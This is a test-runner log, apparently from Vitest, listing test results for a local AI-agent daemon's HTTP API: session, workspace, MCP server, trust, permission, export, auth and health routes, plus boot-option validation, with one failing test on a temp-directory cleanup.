✓ createServeApp > POST /session/:id/model > 400 when modelId is not a non-empty string 154ms
✓ createServeApp > POST /session/:id/model > 404 when bridge reports unknown session 210ms
✓ createServeApp > POST /session/:id/recap (#4175 follow-up) > 200 with the recap on success and forwards no body 181ms
✓ createServeApp > POST /session/:id/recap (#4175 follow-up) > 200 with recap:null is a valid best-effort response 163ms
✓ createServeApp > POST /session/:id/recap (#4175 follow-up) > passes client identity context into the bridge 239ms
✓ createServeApp > POST /session/:id/recap (#4175 follow-up) > 404 when bridge throws SessionNotFoundError 175ms
✓ createServeApp > POST /session/:id/recap (#4175 follow-up) > 400 on malformed X-Qwen-Client-Id header 202ms
✓ createServeApp > POST /session/:id/recap (#4175 follow-up) > non-strict gate: works on no-token loopback default 186ms
✓ createServeApp > POST /session/:id/generate > streams request-scoped generation events as SSE 353ms
✓ createServeApp > POST /session/:id/generate > returns 501 when the bridge does not support generation 251ms
✓ createServeApp > POST /session/:id/generate > streams an error event when generation fails 228ms
✓ createServeApp > POST /session/:id/generate > rejects invalid prompts before opening SSE 240ms
✓ createServeApp > POST /session/:id/generate > rejects invalid prompts before opening SSE 187ms
✓ createServeApp > POST /session/:id/generate > rejects invalid prompts before opening SSE 178ms
✓ createServeApp > POST /session/:id/generate > does not block closing the session while generation is streaming 346ms
✓ createServeApp > POST /session/:id/btw > trims the question and forwards client identity plus an abort signal 222ms
✓ createServeApp > POST /session/:id/btw > rejects empty and oversized questions before bridge dispatch 227ms
✓ createServeApp > POST /session/:id/btw > rejects a malformed client id before bridge dispatch 204ms
✓ createServeApp > POST /session/:id/btw > maps bridge errors through the standard route error response 330ms
✓ createServeApp > POST /session/:id/shell > 401 token_required on a no-token daemon before bridge dispatch 175ms
✓ createServeApp > POST /session/:id/shell > 403 session_shell_disabled when token auth is present but flag is off 184ms
✓ createServeApp > POST /session/:id/shell > 403 client_id_required before command validation when enabled without X-Qwen-Client-Id 199ms
✓ createServeApp > POST /session/:id/shell > 400 invalid_client_id for malformed X-Qwen-Client-Id before bridge dispatch 173ms
✓ createServeApp > POST /session/:id/shell > 400 for empty command after a valid client id is present 207ms
✓ createServeApp > POST /session/:id/shell > calls the bridge with a session-bound client context on success 175ms
✓ createServeApp > POST /session/:id/shell > maps bridge InvalidClientIdError to the existing invalid_client_id response 198ms
✓ createServeApp > POST /session/:id/shell > treats an empty token string as no token on the strict shell route 234ms
✓ createServeApp > POST /session/:id/shell > maps bridge shell policy errors to stable REST error kinds 372ms
✓ createServeApp > POST /session/:id/approval-mode (#4175 Wave 4 PR 17) > 200 on no-token daemon without bearer auth 167ms
✓ createServeApp > POST /session/:id/approval-mode (#4175 Wave 4 PR 17) > 200 with the typed result on success and persist defaults to false 187ms
✓ createServeApp > POST /session/:id/approval-mode (#4175 Wave 4 PR 17) > forwards persist:true to the bridge 181ms
✓ createServeApp > POST /session/:id/approval-mode (#4175 Wave 4 PR 17) > passes client identity context into the bridge 210ms
✓ createServeApp > POST /session/:id/approval-mode (#4175 Wave 4 PR 17) > 400 on missing or unknown mode literal 285ms
✓ createServeApp > POST /session/:id/approval-mode (#4175 Wave 4 PR 17) > 400 when persist is non-boolean 178ms
✓ createServeApp > POST /session/:id/approval-mode (#4175 Wave 4 PR 17) > 403 with errorKind=auth_env_error when bridge throws TrustGateError 171ms
✓ createServeApp > POST /session/:id/approval-mode (#4175 Wave 4 PR 17) > 404 when bridge reports unknown session 223ms
✓ createServeApp > POST /session/:id/branch > removes the persisted branch when generation cleanup kills=true 1717ms
✓ createServeApp > POST /session/:id/branch > preserves the persisted branch when generation cleanup kills=false 687ms
✓ createServeApp > POST /session/:id/fork > does not launch through a closed runtime generation 1210ms
✓ createServeApp > POST /session/:id/fork > 202 with directive and client identity on success 748ms
✓ createServeApp > POST /session/:id/fork > 400 when directive is missing or empty 1239ms
✓ createServeApp > POST /session/:id/fork > 404 when bridge throws SessionNotFoundError 328ms
✓ createServeApp > POST /session/:id/fork > 409 when bridge reports the session is busy 298ms
✓ createServeApp > POST /session/:id/cd > returns 503 when the generation closes during changeSessionCwd 300ms
✓ createServeApp > POST /session/:id/language > 200 with language result on success 284ms
✓ createServeApp > POST /session/:id/language > syncOutputLanguage defaults to false when omitted 231ms
✓ createServeApp > POST /session/:id/language > passes client identity context into the bridge 250ms
✓ createServeApp > POST /session/:id/language > 400 on missing or invalid language code 285ms
✓ createServeApp > POST /session/:id/language > 400 when syncOutputLanguage is non-boolean 244ms
✓ createServeApp > POST /session/:id/language > 404 when bridge reports unknown session 232ms
✓ createServeApp > POST /session/:id/language > 500 when bridge throws an unexpected error 265ms
✓ createServeApp > POST /workspace/init (#4175 Wave 4 PR 17) > 401 on no-token daemon: strict gate refuses without bearer auth 179ms
✓ createServeApp > POST /workspace/init (#4175 Wave 4 PR 17) > 200 with action:created and force=false on success 408ms
✓ createServeApp > POST /workspace/init (#4175 Wave 4 PR 17) > forwards force:true to the bridge 261ms
✓ createServeApp > POST /workspace/init (#4175 Wave 4 PR 17) > passes client identity into the bridge 232ms
✓ createServeApp > POST /workspace/init (#4175 Wave 4 PR 17) > 400 invalid_client_id when X-Qwen-Client-Id is not in knownClientIds 179ms
✓ createServeApp > POST /workspace/init (#4175 Wave 4 PR 17) > 400 when force is non-boolean 214ms
✓ createServeApp > POST /workspace/init (#4175 Wave 4 PR 17) > 409 with structured payload when bridge throws WorkspaceInitConflictError 273ms
✓ createServeApp > POST /workspace/init (#4175 Wave 4 PR 17) > 400 + code:workspace_init_path_escape on WorkspaceInitPathEscapeError (#4297 fold-in 1, addresses #3260501161) 195ms
✓ createServeApp > POST /workspace/init (#4175 Wave 4 PR 17) > 400 + code:workspace_init_symlink on WorkspaceInitSymlinkError (#4297 fold-in 1) 275ms
✓ createServeApp > POST /workspace/reload > requires strict mutation auth before calling the workspace service 351ms
× createServeApp > POST /workspace/reload > passes validated client identity and refreshes cached serve features 1708ms
→ ENOTEMPTY: directory not empty, rmdir '/tmp/qwen-reload-capabilities-RdHAMe'
✓ createServeApp > POST /workspace/reload > maps workspace service reload failures through sendBridgeError 277ms
✓ createServeApp > POST /workspace/notify > requires strict mutation auth before delivery 232ms
✓ createServeApp > POST /workspace/notify > delivers synchronously through the exact bound workspace 272ms
✓ createServeApp > /workspace/channel runtime control > exposes disabled state and advertises control but not reload 277ms
✓ createServeApp > /workspace/channel runtime control > does not advertise reload for degraded manager states 400ms
✓ createServeApp > /workspace/channel runtime control > requires a configured token before any runtime channel mutation 190ms
✓ createServeApp > /workspace/channel runtime control > strict-gates PUT and normalizes names without sorting them 247ms
✓ createServeApp > /workspace/channel runtime control > rejects empty and mixed all selections before changing workers 223ms
✓ createServeApp > /workspace/channel runtime control > filters and redacts typed start failure details 318ms
✓ createServeApp > /workspace/channel runtime control > omits startup failure fields when every entry is malformed 164ms
✓ createServeApp > /workspace/channel runtime control > exposes partial startup failures in current control snapshots 199ms
✓ createServeApp > /workspace/channel runtime control > maps untrusted workspace failures to 403 167ms
✓ createServeApp > /workspace/channel runtime control > maps a pre-manager daemon draining gate to the stable 503 error 239ms
✓ createServeApp > /workspace/channel runtime control > stops idempotently and removes channel_reload dynamically 283ms
✓ createServeApp > POST /workspace/channel/reload > requires strict mutation auth before reloading 176ms
✓ createServeApp > POST /workspace/channel/reload > reloads the channel worker and returns the post-reload snapshot 173ms
✓ createServeApp > POST /workspace/channel/reload > returns 409 when no channel worker is enabled 308ms
✓ createServeApp > POST /workspace/channel/reload > returns 503 before the disabled reload precheck while draining 589ms
✓ createServeApp > POST /workspace/channel/reload > waits on reload instead of returning 409 while the manager initializes 510ms
✓ createServeApp > POST /workspace/channel/reload > returns 409 when every workspace worker is disabled 573ms
✓ createServeApp > POST /workspace/channel/reload > reloads when only a non-primary workspace worker is enabled 939ms
✓ createServeApp > POST /workspace/channel/reload > falls back to the legacy snapshot when the worker list is empty 389ms
✓ createServeApp > POST /workspace/channel/reload > maps relaunch failures through sendBridgeError 364ms
✓ createServeApp > POST /workspace/channel/reload > returns typed and redacted reload start failures 214ms
✓ createServeApp > POST /workspace/channel/reload > advertises channel_reload only when the reload dep is wired 887ms
✓ createServeApp > workspace trust routes > GET /workspace/trust returns current trust status 214ms
✓ createServeApp > workspace trust routes > maps an in-flight trust status generation close to retryable 503 179ms
✓ createServeApp > workspace trust routes > GET /workspace/trust v2 reports reconciliation states 334ms
✓ createServeApp > workspace trust routes > falls back to v1 trust status when hot reload is unavailable 162ms
✓ createServeApp > workspace trust routes > POST /workspace/trust/request requires strict mutation permission 187ms
✓ createServeApp > workspace trust routes > POST /workspace/trust/request publishes trust_change_requested without writing trustedFolders 197ms
✓ createServeApp > workspace trust routes > POST /workspace/trust/request returns 409 when folder trust is disabled 265ms
✓ createServeApp > workspace trust routes > POST /workspace/trust/request rejects invalid desiredState and long reason 213ms
✓ createServeApp > workspace trust routes > rejects trust changes for managed scratch workspaces 199ms
✓ createServeApp > POST /workspace/mcp/initialize > accepts background discovery without a session client id 166ms
✓ createServeApp > POST /workspace/mcp/reload > accepts background reload without a session client id 182ms
✓ createServeApp > POST /workspace/mcp/reload > forwards reconnect options and rejects invalid values 309ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > 401 on no-token daemon: strict gate refuses without bearer auth 166ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > 200 with restarted:true on success 191ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > forwards entryIndex=0 to the bridge 228ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > treats entryIndex=* as all entries 180ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > 200 on soft skip with structured reason 172ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > passes client identity into the bridge 175ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > 400 invalid_client_id on unknown X-Qwen-Client-Id 172ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > decodes URL-encoded server names 161ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > 404 when bridge reports SessionNotFoundError (no live channel) 172ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > 400 when serverName exceeds 256 chars (#4282 fold-in 4 S1) 671ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > 404 + code:mcp_server_not_found when bridge throws McpServerNotFoundError (#4297 fold-in 1, addresses #3260501148) 569ms
✓ createServeApp > POST /workspace/mcp/:server/restart (#4175 Wave 4 PR 17) > 502 + code:mcp_server_restart_failed when bridge throws McpServerRestartFailedError (#4297 fold-in 1) 229ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 200 fresh add returns structured result 233ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 400 fresh add requires X-Qwen-Client-Id 179ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 200 soft refuse (skipped:true, reason:budget_warning_only) 162ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 400 invalid_server_name when name is empty 174ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 400 invalid_server_name when name exceeds MAX_SERVER_NAME_LENGTH 164ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 400 invalid_server_name when name contains illegal chars (slash) 233ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 400 invalid_server_name when name is a reserved JS property 543ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 400 missing_required_field when config is absent 151ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 401 auth_required when no bearer token (strict gate) 172ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 400 invalid_client_id on unknown X-Qwen-Client-Id 168ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 409 mcp_budget_would_exceed when bridge throws with that errorKind 158ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 502 mcp_server_spawn_failed with body details 168ms
✓ createServeApp > POST /workspace/mcp/servers (T2.8 #4514) > 503 acp_channel_unavailable when bridge throws with that errorKind 245ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 200 removed:true with wasShadowingSettings:false 170ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 400 remove requires X-Qwen-Client-Id 176ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 200 skipped:true when server not present (idempotent) 162ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 200 removed:true with wasShadowingSettings:true 148ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 400 invalid_server_name when path param has illegal chars 155ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 400 invalid_server_name when name exceeds MAX_SERVER_NAME_LENGTH 167ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 400 invalid_server_name when name is a reserved JS property: __proto__ 167ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 400 invalid_server_name when name is a reserved JS property: constructor 206ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 400 invalid_server_name when name is a reserved JS property: prototype 147ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 401 auth_required when no bearer token (strict gate) 151ms
✓ createServeApp > DELETE /workspace/mcp/servers/:name (T2.8 #4514) > 400 invalid_client_id on unknown X-Qwen-Client-Id 153ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > 401 on no-token daemon: strict gate refuses without bearer auth 163ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > 200 with the typed result on success (disable) 166ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > 200 on enable=true (re-enable a previously disabled tool) 155ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > rejects tool setting writes for an untrusted primary workspace 164ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > blocks trusted-only primary routes after trust is revoked 369ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > loads fallback workspace settings fail-closed during trust hot reload 189ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > passes client identity into the bridge 148ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > 400 invalid_client_id on unknown X-Qwen-Client-Id 156ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > 400 when enabled is missing or non-boolean 191ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > accepts URL-encoded MCP-qualified tool names 145ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > trims surrounding whitespace before persisting (#4282 fold-in 4 C3) 143ms
✓ createServeApp > POST /workspace/tools/:name/enable (#4175 Wave 4 PR 17) > 400 when whitespace-only path parameter trims to empty 171ms
✓ createServeApp > POST /workspace/skills/:name/enable > requires the strict bearer-auth mutation gate 250ms
✓ createServeApp > POST /workspace/skills/:name/enable > validates skill names and the enabled body 251ms
✓ createServeApp > POST /workspace/skills/:name/enable > returns the canonical name and deferred activation without a child 165ms
✓ createServeApp > POST /workspace/skills/:name/enable > returns 404 for an unknown skill 167ms
✓ createServeApp > POST /workspace/skills/:name/enable > rejects an unknown workspace client id before persistence 151ms
✓ createServeApp > POST /workspace/skills/:name/enable > returns 409 without persisting a non-user-invocable skill 152ms
✓ createServeApp > POST /workspace/skills/:name/enable > returns a dedicated code for an inactive extension skill 171ms
✓ createServeApp > POST /workspace/skills/:name/enable > returns the locked scope from persistence validation 159ms
✓ createServeApp > POST /workspace/skills/:name/enable > rejects writes to an untrusted primary workspace 216ms
✓ createServeApp > POST /session/:id/permission/:requestId > 200 when bridge accepts the scoped vote 227ms
✓ createServeApp > POST /session/:id/permission/:requestId > passes client identity context into scoped permission votes 154ms
✓ createServeApp > POST /session/:id/permission/:requestId > 404 when bridge reports no pending scoped request 170ms
✓ createServeApp > POST /session/:id/permission/:requestId > 400 on a malformed scoped selected outcome 148ms
✓ createServeApp > POST /session/:id/permission/:requestId > 400 when scoped outcome is missing entirely 161ms
✓ createServeApp > POST /session/:id/permission/:requestId > 400 when scoped selected outcome has an empty-string optionId 147ms
✓ createServeApp > POST /session/:id/permission/:requestId > 400 with invalid_option_id when bridge rejects a scoped option 165ms
✓ createServeApp > POST /session/:id/permission/:requestId > 404 when bridge reports unknown session on scoped vote 231ms
✓ createServeApp > POST /permission/:requestId > 200 when bridge accepts the vote 166ms
✓ createServeApp > POST /permission/:requestId > passes client identity context into permission votes 165ms
✓ createServeApp > POST /permission/:requestId > 400 invalid_client_id when the bridge rejects permission voter 163ms
✓ createServeApp > POST /permission/:requestId > 200 with cancelled outcome 150ms
✓ createServeApp > POST /permission/:requestId > 404 when bridge reports the requestId is unknown or already resolved 160ms
✓ createServeApp > POST /permission/:requestId > 400 on a malformed outcome 148ms
✓ createServeApp > POST /permission/:requestId > 400 when outcome is missing entirely 159ms
✓ createServeApp > POST /permission/:requestId > 400 when selected outcome has an empty-string optionId 220ms
✓ createServeApp > POST /permission/:requestId > 400 with invalid_option_id when bridge throws InvalidPermissionOptionError (Blehl) 151ms
✓ createServeApp > POST /session/:id/cancel > 204 on success and forwards routing id 171ms
✓ createServeApp > POST /session/:id/cancel > passes client identity context into bridge.cancelSession 169ms
✓ createServeApp > POST /session/:id/cancel > 204 with empty body 144ms
✓ createServeApp > POST /session/:id/cancel > 404 on unknown session 159ms
✓ createServeApp > DELETE /session/:id > 204 on successful close 146ms
✓ createServeApp > DELETE /session/:id > passes client identity context 156ms
✓ createServeApp > DELETE /session/:id > 404 on unknown session 216ms
✓ createServeApp > DELETE /session/:id > 400 invalid_client_id when bridge rejects client 528ms
✓ createServeApp > DELETE /session/:id > clears the branch session entry on delete so a new branch session can be created 610ms
✓ createServeApp > GET /session/:id/export > exports HTML by default as an attachment 1690ms
✓ createServeApp > GET /session/:id/export > exports md format 517ms
✓ createServeApp > GET /session/:id/export > exports json format 458ms
✓ createServeApp > GET /session/:id/export > exports jsonl format 1382ms
✓ createServeApp > GET /session/:id/export > rejects invalid export format 642ms
✓ createServeApp > GET /session/:id/export > returns 404 for missing sessions 283ms
✓ createServeApp > GET /session/:id/export > returns session_archived for archived sessions 304ms
✓ createServeApp > GET /session/:id/export > reports an archive conflict while a legacy export is in flight 867ms
✓ createServeApp > GET /session/:id/transcript > returns a paged transcript and does not expose EventBus cursors 361ms
✓ createServeApp > GET /session/:id/transcript > forwards an exclusive persisted-record boundary 504ms
✓ createServeApp > GET /session/:id/transcript > routes inactive active transcript pages through the owning workspace runtime 349ms
✓ createServeApp > GET /session/:id/transcript > rejects transcript requests with ambiguous live session ownership 212ms
✓ createServeApp > GET /session/:id/transcript > rejects transcript pages owned by an untrusted secondary workspace 361ms
✓ createServeApp > GET /session/:id/transcript > preserves archived transcript errors during multi-workspace fallback 302ms
✓ createServeApp > GET /session/:id/transcript > prefers structured transcript errors found after generic scan failures 228ms
✓ createServeApp > GET /session/:id/transcript > sanitizes multi-workspace transcript scan errors in HTTP responses 282ms
✓ createServeApp > GET /session/:id/transcript > rejects archived sessions before touching the bridge 267ms
✓ createServeApp > GET /session/:id/transcript > returns 404 for missing active sessions before touching the bridge 208ms
✓ createServeApp > GET /session/:id/transcript > returns 409 when a cursor page no longer has an active transcript file 186ms
✓ createServeApp > GET /session/:id/transcript > rejects invalid transcript limit query 501 before touching the bridge 286ms
✓ createServeApp > GET /session/:id/transcript > rejects invalid transcript limit query 0 before touching the bridge 265ms
✓ createServeApp > GET /session/:id/transcript > rejects invalid transcript limit query abc before touching the bridge 295ms
✓ createServeApp > GET /session/:id/transcript > rejects invalid transcript limit query -1 before touching the bridge 333ms
✓ createServeApp > GET /session/:id/transcript > rejects invalid transcript limit query 1&limit=2 before touching the bridge 289ms
✓ createServeApp > GET /session/:id/transcript > maps child invalid cursor errors to 400 314ms
✓ createServeApp > GET /session/:id/transcript > maps frozen snapshot conflicts to 409 292ms
✓ createServeApp > GET /session/:id/transcript > maps oversized transcript snapshots to 413 287ms
✓ createServeApp > GET /session/:id/transcript > maps oversized transcript pages to 413 284ms
✓ createServeApp > POST /sessions/delete > 400 on missing sessionIds 201ms
✓ createServeApp > POST /sessions/delete > 400 on empty sessionIds array 261ms
✓ createServeApp > POST /sessions/delete > deletes active session and its transcript when bridge succeeds 656ms
✓ createServeApp > POST /sessions/delete > deletes inactive session transcript when bridge throws SessionNotFoundError 527ms
✓ createServeApp > POST /sessions/delete > deletes archived session transcript when bridge throws SessionNotFoundError 468ms
✓ createServeApp > POST /sessions/delete > does not delete when bridge.closeSession throws InvalidClientIdError 300ms
✓ createServeApp > POST /sessions/delete > returns notFound for sessions without persisted data 184ms
✓ createServeApp > POST /sessions/delete > errors array contains string messages, not Error objects 254ms
✓ createServeApp > POST /sessions/delete > handles multi-session batch with mixed outcomes 643ms
✓ createServeApp > POST /sessions/delete > deletes available sessions when another id is being loaded 662ms
✓ createServeApp > POST /sessions/delete > 400 when sessionIds exceeds max 100 202ms
✓ createServeApp > POST /sessions/delete > 400 when sessionIds contains non-string elements 168ms
✓ createServeApp > POST /sessions/delete > deduplicates sessionIds and calls closeSession once per unique id 578ms
✓ createServeApp > POST /sessions/delete > preserves transcript file when bridge.closeSession throws non-SessionNotFoundError 304ms
✓ createServeApp > POST /sessions/delete > keeps archive blocked while batch delete is closing the same session 635ms
✓ createServeApp > POST /sessions/delete > returns session_archiving when batch delete races an archive gate 558ms
✓ createServeApp > POST /sessions/delete > returns per-id errors when removeSession throws unexpectedly 1325ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > archives an inactive session by moving JSONL into chats/archive 1030ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > logs archive result counts and session ids to stderr 586ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > does not move JSONL when live strict close fails 301ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > does not move JSONL when live strict close reports channel unavailable 288ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > returns notFound after closing a live session with no active JSONL 198ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > unarchives by moving JSONL back into active chats 520ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > logs unarchive result counts and session ids to stderr 573ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > rejects load and resume for archived sessions with session_archived 459ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > rejects load for active/archive conflicts with session_conflict 392ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > returns session_archiving for prompt while archive is in flight 600ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > returns session_archiving for pending prompt removal while archive is in flight 667ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > reports an archive conflict while load is in flight 422ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > allows concurrent loads for the same session while restore is in flight 453ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > returns session_archiving for archive while single close is in flight 350ms
✓ createServeApp > POST /sessions/archive and /sessions/unarchive > returns session_archiving for overlapping archive batches 603ms
✓ createServeApp > PATCH /session/:id/metadata > 200 on successful metadata update 197ms
✓ createServeApp > PATCH /session/:id/metadata > requires mutation auth before updating metadata 393ms
✓ createServeApp > PATCH /session/:id/metadata > passes client identity context 175ms
✓ createServeApp > PATCH /session/:id/metadata > 400 when displayName is not a string 200ms
✓ createServeApp > PATCH /session/:id/metadata > 404 on unknown session 185ms
✓ createServeApp > PATCH /session/:id/metadata > 400 invalid_metadata when displayName exceeds max length 171ms
✓ createServeApp > POST /session/:id/heartbeat > 200 with the bridge result and forwards the routing id 190ms
✓ createServeApp > POST /session/:id/heartbeat > forwards X-Qwen-Client-Id into the bridge context and echoes it back 154ms
✓ createServeApp > POST /session/:id/heartbeat > 400 invalid_client_id when the header is malformed 163ms
✓ createServeApp > POST /session/:id/heartbeat > 400 invalid_client_id when the bridge rejects an unknown client 223ms
✓ createServeApp > POST /session/:id/heartbeat > 404 when the bridge reports an unknown session 166ms
✓ createServeApp > bearer auth > is open by default (loopback developer convenience) 185ms
✓ createServeApp > bearer auth > rejects missing Authorization header when token is set 155ms
✓ createServeApp > bearer auth > rejects wrong scheme 158ms
✓ createServeApp > bearer auth > rejects wrong token 146ms
✓ createServeApp > bearer auth > ignores daemon cookies entirely now that fragment auth replaced them 193ms
✓ createServeApp > bearer auth > accepts the right token 186ms
✓ createServeApp > bearer auth > exempts /health from bearer auth so liveness probes work without credentials 221ms
✓ createServeApp > bearer auth > gates /health behind bearer auth when --require-auth is set on loopback (#4175 PR 15) 296ms
✓ createServeApp > assembled middleware boundaries > mounts rate limiting after auth and exposes the limiter on app locals 891ms
✓ createServeApp > assembled middleware boundaries > logs auth rejections while keeping health probes excluded 484ms
✓ createServeApp > payload-too-large handling (A-UsP) > returns 413 JSON when the request body exceeds the 10 MB limit 1144ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > default /health stays cheap (no bridge touch) 153ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > deep=1 includes bridge state 159ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > accepts the documented deep query form /health?deep=true 201ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > accepts the documented deep query form /health?deep 148ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > keeps the shallow response for /health?deep=0 144ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > keeps the shallow response for /health?deep=false 144ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > deep=1 includes idle detection fields with no activity 155ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > deep=1 derives idleSinceMs from the same lastActivityAt snapshot 252ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > aggregates deep health across all managed workspaces 163ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > includes draining workspaces until registry removal completes 253ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > does not short-circuit later workspace health getters 152ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > deep=1 returns 503 when bridge state access throws 161ms
✓ createServeApp > GET /health?deep=1 (chiga0 Risk 3) > deep=1 returns 503 when trust reconciliation blocks a runtime 140ms
✓ createServeApp > GET /daemon/status > requires bearer auth when a token is configured 311ms
✓ createServeApp > GET /daemon/status > returns summary diagnostics without querying workspace status 189ms
✓ createServeApp > GET /daemon/status > rejects unknown detail values 229ms
✓ createServeApp > GET /daemon/status > returns full diagnostics with independent workspace section degradation 254ms
✓ createServeApp > POST /channels/:channelName/webhooks/:source > isolates webhook configs across workspace sources 708ms
✓ createServeApp > POST /channels/:channelName/webhooks/:source > refreshes webhook authentication when the manager config version changes 9114ms
✓ createServeApp > POST /channels/:channelName/webhooks/:source > is only mounted when enqueueChannelWebhookTask is available 3621ms
✓ createServeApp > POST /channels/:channelName/webhooks/:source > skips malformed webhook config instead of crashing the server 438ms
✓ createServeApp > POST /channels/:channelName/webhooks/:source > keeps valid webhook sources when a sibling source is malformed 697ms
✓ createServeApp > session limit (chiga0 Rec 3 — --max-sessions) > 503 + Retry-After + structured error when bridge throws SessionLimitExceededError 235ms
✓ createServeApp > session limit (chiga0 Rec 3 — --max-sessions) > 503 + Retry-After + total scope and daemon log when bridge throws TotalSessionLimitExceededError 575ms
✓ computeKeepaliveIntervalMs > keeps the first heartbeat inside small custom idle windows 67ms
✓ computeKeepaliveIntervalMs > caps large idle windows at the relaxed maximum cadence 9ms
✓ computeKeepaliveIntervalMs > uses the relaxed cadence when idle reaping is disabled 3ms
✓ runQwenServe > refuses to bind 0.0.0.0 without a token 710ms
✓ runQwenServe > refuses to start with --require-auth on loopback when no token configured (#4175 PR 15) 61ms
✓ runQwenServe > refuses to start with --allow-origin '*' on loopback when no token is configured 54ms
✓ runQwenServe > starts with --allow-origin '*' when a token is configured 7091ms
✓ runQwenServe > uses normalized token for session shell capability across REST and ACP initialize 2986ms
✓ runQwenServe > warns and does not advertise session shell when flag is set without a token 2505ms
✓ runQwenServe > rejects non-positive mcpClientBudget (#4175 PR 14) 1173ms
✓ runQwenServe > rejects mcpBudgetMode=enforce without a budget (#4175 PR 14) 482ms
✓ runQwenServe > rejects invalid promptDeadlineMs (zero) at boot (#4514 T2.9) 254ms
✓ runQwenServe > rejects invalid promptDeadlineMs (negative) at boot (#4514 T2.9) 243ms
✓ runQwenServe > rejects invalid promptDeadlineMs (float) at boot (#4514 T2.9) 193ms
✓ runQwenServe > rejects invalid promptDeadlineMs (NaN) at boot (#4514 T2.9) 712ms
✓ runQwenServe > rejects invalid maxPendingPromptsPerSession (negative) at boot 460ms
✓ runQwenServe > rejects invalid maxPendingPromptsPerSession (float) at boot 315ms
✓ runQwenServe > rejects invalid maxPendingPromptsPerSession (NaN) at boot 224ms
✓ runQwenServe > rejects invalid writerIdleTimeoutMs (zero) at boot (#4514 T2.9) 197ms
✓ runQwenServe > rejects invalid writerIdleTimeoutMs (negative) at boot (#4514 T2.9) 172ms
✓ runQwenServe > rejects invalid writerIdleTimeoutMs (float) at boot (#4514 T2.9) 181ms
